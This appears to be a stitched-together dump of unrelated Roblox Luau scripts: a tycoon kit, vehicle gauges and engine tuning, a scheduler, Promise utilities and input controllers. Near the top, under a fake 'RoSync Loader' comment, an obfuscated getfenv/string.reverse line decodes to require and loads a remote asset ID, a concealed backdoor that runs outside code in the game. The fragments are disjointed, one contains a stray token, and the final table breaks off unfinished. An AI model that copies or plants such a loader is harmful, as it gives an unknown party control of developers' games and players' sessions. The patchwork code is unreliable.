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local PlayerStatManager = require(script.Parent:WaitForChild("PlayerStatManager")) local serverStorage = game:GetService("ServerStorage") local replicatedStorage = game:GetService("ReplicatedStorage") local playerMoney = serverStorage:WaitForChild("PlayerMoney") local purchaseHandlerNew = content.PurchaseHandlerNew local players = game:GetService("Players") local runService = game:GetService("RunService") local staterGui = game:GetService("StarterGui") local allObjects = {} local TycoonSettings = require(script.Parent.Settings) local Settings = require(script.Settings) local RebirthSettings = Settings.Rebirth local TestSettings = Settings.Test local rebirthEvent = content:WaitForChild("RebirthEvent (Don't Move)") local touchAllTycoonButtons = content:WaitForChild("TouchAllTycoonButtons") local giveCashEvent = content:WaitForChild("GiveCash") local rebirthGui = content:WaitForChild("RebirthGui (Don't Move)") local touchTycoonButtonsGui = content:FindFirstChild("TouchTycoonButtons") rebirthEvent.Parent = replicatedStorage if touchTycoonButtonsGui then if runService:IsStudio() or TestSettings.showTouchTycoonButtonsGuiOutsideStudio then touchAllTycoonButtons.Parent = replicatedStorage giveCashEvent.Parent = replicatedStorage touchTycoonButtonsGui.Parent = staterGui else touchAllTycoonButtons:Destroy() giveCashEvent:Destroy() touchTycoonButtonsGui:Destroy() end end local AllTycoons = {} for i,v in pairs(script.Parent:WaitForChild('Tycoons'):GetChildren()) do AllTycoons[v.Name] = v:Clone() end
--[[ Last synced 10/14/2020 09:34 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--[[** This function allows the developer to schedule the removal of the object without yielding any code. It is the suggested alternative to Debris:AddItem, as this doesn't use the legacy scheduler and also supports tables with a Destroy / destroy method. @param [t:union<t:Instance, t:table, t:RBXScriptConnection, t:userdata>] Object The object to be added to destroy scheduler. @param [t:optional<t:numberMin<0>>] Lifetime The number of seconds before the object should be destroyed. Defaults to 10. @returns [void] **--]]
function Scheduler.AddItem(Object, Lifetime) assert(AddItemTuple(Object, Lifetime)) local ExecuteTime = tick() + (Lifetime or 10) local Connection Connection = Heartbeat:Connect(function() if tick() >= ExecuteTime then Connection:Disconnect() if Object then if Object.Destroy then pcall(Object.Destroy, Object) elseif Object.destroy then pcall(Object.destroy, Object) elseif Object.Disconnect then pcall(Object.Disconnect, Object) elseif Object.disconnect then pcall(Object.disconnect, Object) end end end end) return Connection end return Scheduler
--[[ Calls a callback on `finally` with specific arguments. ]]
function Promise.prototype:finallyCall(callback, ...) assert(type(callback) == "function", string.format(ERROR_NON_FUNCTION, "Promise:finallyCall")) local length, values = pack(...) return self:_finally(debug.traceback(nil, 2), function() return callback(unpack(values, 1, length)) end) end
-- Detect when prompt hold begins
local function onPromptHoldBegan(promptObject, player) ObjectActions.promptHoldBeganActions(promptObject, player) end
-- 0 ..... 15 cd -- 1 ..... 30 cd -- 2 ..... 75 cd * Minimum for Public Mode Applications * -- 3 ..... 110 cd
-- print("Keyframe : ".. frameName)
local repeatAnim = currentAnim local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.0, Humanoid) setAnimationSpeed(animSpeed) end end
-- Initialize
function PointsService:KnitInit() local rng = Random.new() -- Give player random amount of points: self.Client.GiveMePoints:Connect(function(player) local points = rng:NextInteger(0, 10) self:AddPoints(player, points) print("Gave " .. player.Name .. " " .. points .. " points") end) -- Clean up data when player leaves: game:GetService("Players").PlayerRemoving:Connect(function(player) self.PointsPerPlayer[player] = nil print("Cleaned up "..player.Name.."'s data because they left!") end) end return PointsService
-------------------Speed Controls ( Up/down/Forward/Backward)-------------------
if(key == "d") and (faster == false) and (slower == false) and (Spd_keep == true) and ( on == true) then local val = plane.Engine:findFirstChild("Speed") faster = true while faster do if(val.Value < minspeed) or (val.Value > maxv) then return end if(val.Value == maxv) then faster = false end val.Value = val.Value +1 wait() end elseif(key == "a") and (faster == false) and ( on==true) and (Spd_keep == true) then if(on == false) or (plane.Engine:findFirstChild("Speed") == nil) then return end if(slower == false) and (faster == false) then local val = plane.Engine:findFirstChild("Speed") slower = true while slower do if(val.Value >=minspeed) then val.Value = val.Value -1 elseif(val.Value < minspeed) then val.Value = minspeed slower = false end wait() end end end --Below u can see 2 if's these are if the Vert_keep value is set to true if(key == "s") and planedebounce == false and on == true then local val = plane.Engine:findFirstChild("VerticalSpeed") if(val == nil) then return end downer = true uper = false while downer do if(val.Value == -20) then downer = false break end if(downer==false) then break end val.Value = val.Value -1 wait(.1) end end if(key == "w") and planedebounce == false and on == true then local val = plane.Engine:findFirstChild("VerticalSpeed") if(val == nil) then return end uper = true downer = false while uper==true do if(uper == false) then break end if(val.Value >= 20) then uper = false end val.Value = val.Value +1 wait(.1) end end --[[ if(string.byte(key) == 20) and (on == true) then local engine = plane.Engine local bg = engine.BodyGyro sideleft = true while sideleft do sideway = 20 wait(.1) end end if(string.byte(key) == 19) and (on == true) then local engine = plane.Engine local bg = engine.BodyGyro sideright = true while sideright do sideway = -20 wait(.1) end end ]]-- if(string.byte(key) == 23) and on then local engine = plane.Engine local spd = engine.Speed if(spd.Value < 0) then while spd.Value ~= 0 do spd.Value = spd.Value +1 wait(.1) end elseif(spd.Value > 0) then while spd.Value ~= 0 do spd.Value = spd.Value -1 wait(.1) end elseif(spd.Value == 0) then spd.Value = 0 return end end
-- Initialize anchor tool
local AnchorTool = require(CoreTools:WaitForChild 'Anchor') Core.AssignHotkey('M', Core.Support.Call(Core.EquipTool, AnchorTool)); Core.AddToolButton(Core.Assets.AnchorIcon, 'M', AnchorTool)
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = -2 Tune.RCamber = -2 Tune.FCaster = 0 Tune.RCaster = 0 --Will only work with 4WS enabled (Avxnturador) Tune.FToe = 0 Tune.RToe = 0
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive) v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20) end end for i=0,revEnd*2 do local ln = script.Parent.ln:clone() ln.Parent = script.Parent.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = script.Parent.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",script.Parent.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = script.Parent.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",script.Parent.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = script.Parent.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 20 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) script.Parent.Parent.Values.RPM.Changed:connect(function() script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000)) end) local function GearChange() local gearText = script.Parent.Parent.Values.Gear.Value if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then if script.Parent.Parent:FindFirstChild("DriveMode").Value == "Comfort" then if gearText > 0 then script.Parent.Gear.Text = "D" elseif gearText == 0 then script.Parent.Gear.Text = "N" elseif gearText == -1 then script.Parent.Gear.Text = "R" end elseif script.Parent.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then if gearText > 0 then script.Parent.Gear.Text = "S"..gearText elseif gearText == 0 then script.Parent.Gear.Text = "N" elseif gearText == -1 then script.Parent.Gear.Text = "R" end end elseif script.Parent.Parent.Values.TransmissionMode.Value ~= "Auto" then if script.Parent.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then if gearText > 0 then script.Parent.Gear.Text = "M"..gearText elseif gearText == 0 then script.Parent.Gear.Text = "N" elseif gearText == -1 then script.Parent.Gear.Text = "R" end elseif script.Parent.Parent:FindFirstChild("DriveMode").Value == "Comfort" then if gearText > 0 then script.Parent.Gear.Text = gearText elseif gearText == 0 then script.Parent.Gear.Text = "N" elseif gearText == -1 then script.Parent.Gear.Text = "R" end end end end script.Parent.Parent.Values.TransmissionMode.Changed:Connect(GearChange) script.Parent.Parent.DriveMode.Changed:Connect(GearChange) script.Parent.Parent.Values.Gear.Changed:Connect(function() local gearText = script.Parent.Parent.Values.Gear.Value if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then if script.Parent.Parent:FindFirstChild("DriveMode").Value == "Comfort" then if gearText > 0 then script.Parent.Gear.Text = "D" elseif gearText == 0 then script.Parent.Gear.Text = "N" elseif gearText == -1 then script.Parent.Gear.Text = "R" end elseif script.Parent.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then if gearText > 0 then script.Parent.Gear.Text = "S"..gearText elseif gearText == 0 then script.Parent.Gear.Text = "N" elseif gearText == -1 then script.Parent.Gear.Text = "R" end end elseif script.Parent.Parent.Values.TransmissionMode.Value ~= "Auto" then if script.Parent.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then if gearText > 0 then script.Parent.Gear.Text = "M"..gearText elseif gearText == 0 then script.Parent.Gear.Text = "N" elseif gearText == -1 then script.Parent.Gear.Text = "R" end elseif script.Parent.Parent:FindFirstChild("DriveMode").Value == "Comfort" then if gearText > 0 then script.Parent.Gear.Text = gearText elseif gearText == 0 then script.Parent.Gear.Text = "N" elseif gearText == -1 then script.Parent.Gear.Text = "R" end end end end) script.Parent.Parent.Values.TCS.Changed:Connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCS.Value then script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.TCSActive.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = true script.Parent.TCS.TextColor3 = Color3.new(1,0,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.TCS.Visible = false end end) script.Parent.Parent.Values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = false end end) script.Parent.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true end else if script.Parent.TCS.Visible then script.Parent.TCS.Visible = false end end end) script.Parent.Parent.Values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABS.Value then script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.ABSActive.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = true script.Parent.ABS.TextColor3 = Color3.new(1,0,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.ABS.Visible = false end end) script.Parent.Parent.Values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = false end end) script.Parent.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true end else if script.Parent.ABS.Visible then script.Parent.ABS.Visible = false end end end) function PBrake() script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value end script.Parent.Parent.Values.PBrake.Changed:connect(PBrake) function Gear() if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then script.Parent.TMode.Text = "A/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then script.Parent.TMode.Text = "S/T" script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else script.Parent.TMode.Text = "M/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end script.Parent.Parent.Values.TransmissionMode.Changed:connect(Gear) script.Parent.Parent.Values.Velocity.Changed:connect(function(property) script.Parent.Speedo.Needle.Rotation =45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) script.Parent.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(script.Parent.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) wait(.1) Gear() PBrake()
-- Provides a nice syntax for creating Roblox instances. -- Example: -- local newPart = Utility.Create("Part") { -- Parent = workspace, -- Anchored = true, -- -- --Create a SpecialMesh as a child of this part too -- Utility.Create("SpecialMesh") { -- MeshId = "rbxassetid://...", -- Scale = Vector3.new(0.5, 0.2, 10) -- } -- }
function CommonUtil.Create(instanceType) return function(data) local obj = Instance.new(instanceType) local parent = nil for k, v in pairs(data) do if type(k) == 'number' then v.Parent = obj elseif k == 'Parent' then parent = v else obj[k] = v end end if parent then obj.Parent = parent end return obj end end return CommonUtil
--!strict
local None = require(script.Parent.None) local LuauPolyfill = script.Parent.Parent local types = require(LuauPolyfill.types) type Object = types.Object
-----------------------------------------------------------------------------------------------
local player=game.Players.LocalPlayer local mouse=player:GetMouse() local bike = script.Parent.Parent.Bike.Value local _Tune = require(bike["Tuner"]) local gauges = script.Parent local values = script.Parent.Parent.Values local isOn = script.Parent.Parent.IsOn gauges:WaitForChild("Speedo") gauges:WaitForChild("Tach") gauges:WaitForChild("Boost") gauges:WaitForChild("ln") gauges:WaitForChild("bln") gauges:WaitForChild("Gear") gauges:WaitForChild("Speed") bike.DriveSeat.HeadsUpDisplay = false local _pRPM = _Tune.PeakRPM local _lRPM = _Tune.Redline if not _Tune.Engine and _Tune.Electric then _lRPM = _Tune.ElecRedline _pRPM = _Tune.ElecTransition2 end local currentUnits = 1 local revEnd = math.ceil(_lRPM/1000)
--[[ Package link auto-generated by Rotriever ]]
local PackageIndex = script.Parent._Index local Package = require(PackageIndex["ExperienceComponents"]["ExperienceComponents"]) export type MultiSelectFormOption = Package.MultiSelectFormOption return Package
--[=[ @param value any @return boolean Returns `true` if this option contains `value`. ]=]
function Option:Contains(value) return self:IsSome() and self._v == value end
-- plr is 'player' -- item is the 'tool' or 'key' clicked on
function module.Clicked (plr, item) -- 1. Check is player exists (not nil) and player is not Piggy if plr then if plr.Character and not plr:FindFirstChild("Piggy") then -- 2. Get the position of the part so we can swap parts -- models do not have position as a property, rather a PrimaryPart property which is generally the handle (some invisible part) local position if item:IsA("Model") then position = item.PrimaryPart.Position else position = item.Position end -- drop whatever is in the players backpack or equipped (if any) -- send in the player, the map and the position of the newly clicked item module.DropTools(plr, game.Workspace.Map, position) print ("Dropped Keyhandles") --3. Put a copy of the serverstorage item in the players backpack if game.ServerStorage.Tools:FindFirstChild(item.Name) then -- clone server copy local clonedTool = game.ServerStorage.Tools[item.Name]:Clone() -- put it in the players backpack clonedTool.Parent = plr.Backpack -- auto equip it plr.Character.Humanoid:EquipTool(clonedTool) -- destroy the part on the map item:Destroy() print ("Equipped the tool") end end end end return module
-- constants
local CAMERA = Workspace.CurrentCamera local PLAYER = Players.LocalPlayer local PLAYER_GUI = PLAYER:WaitForChild("PlayerGui")
-- Load and configure the animations
local attackAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.AttackAnimation) attackAnimation.Looped = false attackAnimation.Priority = Enum.AnimationPriority.Action maid.attackAnimation = attackAnimation local deathAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.DeathAnimation) deathAnimation.Looped = false deathAnimation.Priority = Enum.AnimationPriority.Action maid.deathAnimation = deathAnimation
-- TODO: Remove when we figure out ContextActionService without sinking keys
local function onShiftInputBegan(inputObject, isProcessed) if isProcessed then return end if inputObject.UserInputType == Enum.UserInputType.Keyboard and (inputObject.KeyCode == Enum.KeyCode.LeftShift or inputObject.KeyCode == Enum.KeyCode.RightShift) then -- mouseLockSwitchFunc() end end local function enableShiftLock() IsShiftLockMode = isShiftLockMode() if IsShiftLockMode then if ScreenGui then ScreenGui.Parent = PlayerGui end if IsShiftLocked then Mouse.Icon = SHIFT_LOCK_CURSOR ShiftLockController.OnShiftLockToggled:Fire() end if not IsActionBound then InputCn = UserInputService.InputBegan:connect(onShiftInputBegan) IsActionBound = true end end end GameSettings.Changed:connect(function(property) if property == 'ControlMode' then if GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch then enableShiftLock() else disableShiftLock() end elseif property == 'ComputerMovementMode' then if GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove then disableShiftLock() else enableShiftLock() end end end) LocalPlayer.Changed:connect(function(property) if property == 'DevEnableMouseLock' then if LocalPlayer.DevEnableMouseLock then enableShiftLock() else disableShiftLock() end elseif property == 'DevComputerMovementMode' then if LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.ClickToMove or LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable then -- disableShiftLock() else enableShiftLock() end end end) LocalPlayer.CharacterAdded:connect(function(character) -- we need to recreate guis on character load if not UserInputService.TouchEnabled then initialize() end end)
--[[ DataStore2: A wrapper for data stores that caches, saves player's data, and uses berezaa's method of saving data. Use require(1936396537) to have an updated version of DataStore2. DataStore2(dataStoreName, player) - Returns a DataStore2 DataStore DataStore2 DataStore: - Get([defaultValue]) - Set(value) - Update(updateFunc) - Increment(value, defaultValue) - BeforeInitialGet(modifier) - BeforeSave(modifier) - Save() - SaveAsync() - OnUpdate(callback) - BindToClose(callback) local coinStore = DataStore2("Coins", player) To give a player coins: coinStore:Increment(50) To get the current player's coins: coinStore:Get() --]]
local Players = game:GetService("Players") local RunService = game:GetService("RunService") local ServerStorage = game:GetService("ServerStorage") local Constants = require(script.Constants) local Promise = require(script.Promise) local SavingMethods = require(script.SavingMethods) local Settings = require(script.Settings) local TableUtil = require(script.TableUtil) local Verifier = require(script.Verifier) local SaveInStudioObject = ServerStorage:FindFirstChild("SaveInStudio") local SaveInStudio = SaveInStudioObject and SaveInStudioObject.Value local function clone(value) if typeof(value) == "table" then return TableUtil.clone(value) else return value end end
--[[** ensures value is a number where min <= value <= max @param min The minimum to use @param max The maximum to use @returns A function that will return true iff the condition is passed **--]]
function t.numberConstrained(min, max) assert(t.number(min)) assert(t.number(max)) local minCheck = t.numberMin(min) local maxCheck = t.numberMax(max) return function(value) local minSuccess = minCheck(value) if not minSuccess then return false end local maxSuccess = maxCheck(value) if not maxSuccess then return false end return true end end
-- Initialize tool subsystems
MoveTool.HandleDragging = require(script:WaitForChild 'HandleDragging') .new(MoveTool) MoveTool.FreeDragging = require(script:WaitForChild 'FreeDragging') .new(MoveTool) MoveTool.UIController = require(script:WaitForChild 'UIController') .new(MoveTool) function MoveTool:Equip() -- Enables the tool's equipped functionality -- Set our current axis mode self:SetAxes(self.Axes) -- Start up our interface self.UIController:ShowUI() self:BindShortcutKeys() self.FreeDragging:EnableDragging() end function MoveTool:Unequip() -- Disables the tool's equipped functionality -- If dragging, finish dragging if self.FreeDragging.IsDragging then self.FreeDragging:FinishDragging() end -- Disable dragging ContextActionService:UnbindAction 'BT: Start dragging' -- Clear unnecessary resources self.UIController:HideUI() self.HandleDragging:HideHandles() self.Maid:Destroy() BoundingBox.ClearBoundingBox(); SnapTracking.StopTracking(); end function MoveTool:SetAxes(AxisMode) -- Sets the given axis mode -- Update setting self.Axes = AxisMode self.AxesChanged:Fire(self.Axes) -- Disable any unnecessary bounding boxes BoundingBox.ClearBoundingBox(); -- For global mode, use bounding box handles if AxisMode == 'Global' then BoundingBox.StartBoundingBox(function (BoundingBox) self.HandleDragging:AttachHandles(BoundingBox) end) -- For local mode, use focused part handles elseif AxisMode == 'Local' then self.HandleDragging:AttachHandles(Selection.Focus, true) -- For last mode, use focused part handles elseif AxisMode == 'Last' then self.HandleDragging:AttachHandles(Selection.Focus, true) end end
--[[** ensures Lua primitive userdata type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.userdata = t.type("userdata")
-- Returns the radius of the spread, but projected into screen space. -- @param Camera camera -- @return number
function SpreadSimulator:GetSpreadScreenMagnitude(camera) local cameraCFrame = camera.CFrame local spreadDirection = self:GetSpreadDirectionCircumferenceVector(camera.CFrame) local spreadPosition = cameraCFrame.Position + cameraCFrame.LookVector * Spread_Distance_From_Camera + spreadDirection local centerPoint, onScreen1 = camera:WorldToScreenPoint(cameraCFrame.Position + cameraCFrame.LookVector * Spread_Distance_From_Camera) local screenPoint, onScreen2 = camera:WorldToScreenPoint(spreadPosition) -- If one of the points are not on screen then we can't do much with math if not onScreen1 or not onScreen2 then return end local spreadPoint = Vector2.new(screenPoint.x, screenPoint.y) local centerPoint = Vector2.new(centerPoint.x, centerPoint.y) local distance = (spreadPoint - centerPoint).Magnitude * 2 -- Radius times 2 return distance end p return SpreadSimulator
-- SERVICES --
local Players = game:GetService("Players") local ReplicatedStorage = game:GetService("ReplicatedStorage") local ServerStorage = game:GetService("ServerStorage") local LAST_PAY = 0 local LAST_RAISE = tick() local HAS_TO_PAY = 25 local Root = script.Parent Root.PayRent.OnServerEvent:Connect(function(p) if tick() - LAST_PAY > 60 then p.leaderstats.Money.Value += HAS_TO_PAY LAST_PAY = tick() end end) Root.RaiseRent.OnServerEvent:Connect(function(p) if tick() - LAST_RAISE > 60 then HAS_TO_PAY += 5 LAST_PAY = tick() end end)
--wait(120)
local all,last = {} local isSusp = false local isWheel= false function scan(p) for _,v in pairs(p:GetChildren()) do if p.Name == "Suspension" then isSusp = true end if p.Parent.Name == "Wheels" then isWheel = true end if (v:IsA("BasePart") or v:IsA("UnionOperation") or v:IsA("Seat") or v:IsA("VehicleSeat") or v:IsA("MeshPart")) then if (last and not isSusp) then local w = Instance.new("Weld") w.Part0,w.Part1 = last,v w.C0 = v.CFrame:toObjectSpace(last.CFrame):inverse() w.Parent = last end table.insert(all,v) last = v end scan(v) end end scan(script.Parent) if isSusp then local c1 = script:Clone() local c2 = script:Clone() c1.Parent = script.Parent.RL c2.Parent = script.Parent.RR end for _,v in pairs(all) do if ((not isWheel) or (isWheel and v.Name ~= "Wheel")) then v.CustomPhysicalProperties = PhysicalProperties.new(0.01,0,0,0,0) v.CanCollide = false elseif isWheel and v.Name == "Wheel" then v.CustomPhysicalProperties = PhysicalProperties.new(0.2,0.7,0.5,1,1) else v.CustomPhysicalProperties = PhysicalProperties.new(0.7,1,0.5,1,1) --to change to vehicle weight end end for _,v in pairs(all) do v.Anchored = true end if script.Parent.Name == "Suspension" then script.PATCHER.Parent = script.Parent.Parent script.Parent.Parent.PATCHER.Disabled = false end
-- Make the object appear when the ProximityPrompt is used
local function onPromptTriggered() if object then object.Parent = game.ServerStorage game.StarterGui.ScreenGui.TextLabel.Visible = true wait(1) game.StarterGui.ScreenGui.TextLabel.Visible= false end end
-- Remove with FFlagPlayerScriptsBindAtPriority
function MouseLockController:OnInputBegan(input, processed) if processed then return end if input.UserInputType == Enum.UserInputType.Keyboard then for _, keyCode in pairs(self.boundKeys) do if keyCode == input.KeyCode then self:OnMouseLockToggled() return end end end end function MouseLockController:DoMouseLockSwitch(name, state, input) if state == Enum.UserInputState.Begin then self:OnMouseLockToggled() return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function MouseLockController:BindContextActions() ContextActionService:BindActionAtPriority(CONTEXT_ACTION_NAME, function(name, state, input) self:DoMouseLockSwitch(name, state, input) end, false, MOUSELOCK_ACTION_PRIORITY, unpack(self.boundKeys)) end function MouseLockController:UnbindContextActions() ContextActionService:UnbindAction(CONTEXT_ACTION_NAME) end function MouseLockController:IsMouseLocked() return self.enabled and self.isMouseLocked end function MouseLockController:EnableMouseLock(enable) if enable~=self.enabled then self.enabled = enable if self.enabled then -- Enabling the mode if FFlagPlayerScriptsBindAtPriority then self:BindContextActions() else if self.inputBeganConn then self.inputBeganConn:Disconnect() end self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed) self:OnInputBegan(input, processed) end) end else -- Disabling -- Restore mouse cursor if Mouse.Icon~="" then Mouse.Icon = "" end if FFlagPlayerScriptsBindAtPriority then self:UnbindContextActions() else if self.inputBeganConn then self.inputBeganConn:Disconnect() end self.inputBeganConn = nil end -- If the mode is disabled while being used, fire the event to toggle it off if self.isMouseLocked then self.mouseLockToggledEvent:Fire() end self.isMouseLocked = false end end end return MouseLockController
---Engine
function Engine() script.Parent:WaitForChild("Gauges") script.Parent:WaitForChild("Status") local down1 local down2 local Drive={ car.Wheels.FL:GetChildren(), car.Wheels.FR:GetChildren(), car.Wheels.RL:GetChildren(), car.Wheels.RR:GetChildren() } local Tc={ Speed=0, ThrotAccel=.1, ThrotDecay=.4, ClutchAccel=.1, ClutchDecay=.5, FreeAccel=.1, FreeDecay=.01, BrakeAccel=.5, BrakeDecay=.5, ExpGradient=2, MaxTorque=100000, BrakeMaxTorque=100000, BExpGradient=2, Brakes=21000, --Brake Force ClutchGain=6000, ClutchStall=8000, ShiftSpeed=.01, ClutchShiftSpeed=.2, RevBounceP=.93, VariableThrotAdj=.1, Trans={ -- Tuning: http://i.imgur.com/wbHZPI7.png -- [1] [2] [3] [4] [5] [6] [7] [8] [9] -- {Int Tq , Peak Tq , Peak Sp , Max Sp , Tq Decay, Limiter , C Tolerance , C Gain , C Stall } {14000 , 18000 , 60 , 80 , 17 , 8 , .7 , .5 , .7 }, --1st {10000 , 16000 , 90 , 150 , 20 , 10 , .2 , .3 , .8 }, --2nd {8000 , 13000 , 170 , 200 , 27 , 13 , .1 , .2 , 1 }, --3rd {5000 , 11000 , 220 , 240 , 28 , 20 , .08 , .15 , 1.2 }, --4th {2500 , 8000 , 260 , 280 , 50 , 30 , .06 , .1 , 1.5 }, --5th {2000 , 7000 , 300 , 330 , 100 , 50 , .04 , .1 , 2 }, --6th }, ReverseTq=14000, --Reverse Torque ReverseSp=30, --Max Reverse Speed FDiffPerc=-.2, --Front Differential (-1 -> 1) *value < 0 is outer wheel biased CDiffPerc=.25, --Center Differential (-1 -> 1) *value < 0 is front biased RDiffPerc=-.2, --Rear Differential (-1 -> 1) *value < 0 is outer wheel biased DTrainDist=-.5, --Power Distribution (See below diagram) -- Rear <-|-------|-------|-------|-------|-> Front -- Biased -1 0 1 Biased -- RWD AWD FWD ------------------------------------------- ThrotP=0, MaxThrotP=1, BrakeP=0, ClutchP=0, Throttle=0, Brake=0, Clutch=0, Gear=1, GearShift=1, PrevGear=1, RPM=0, Units={ {"SPS",1}, {"MPH",.682}, {"KPH",1.097} }, CUnit=1 } local Friction={ 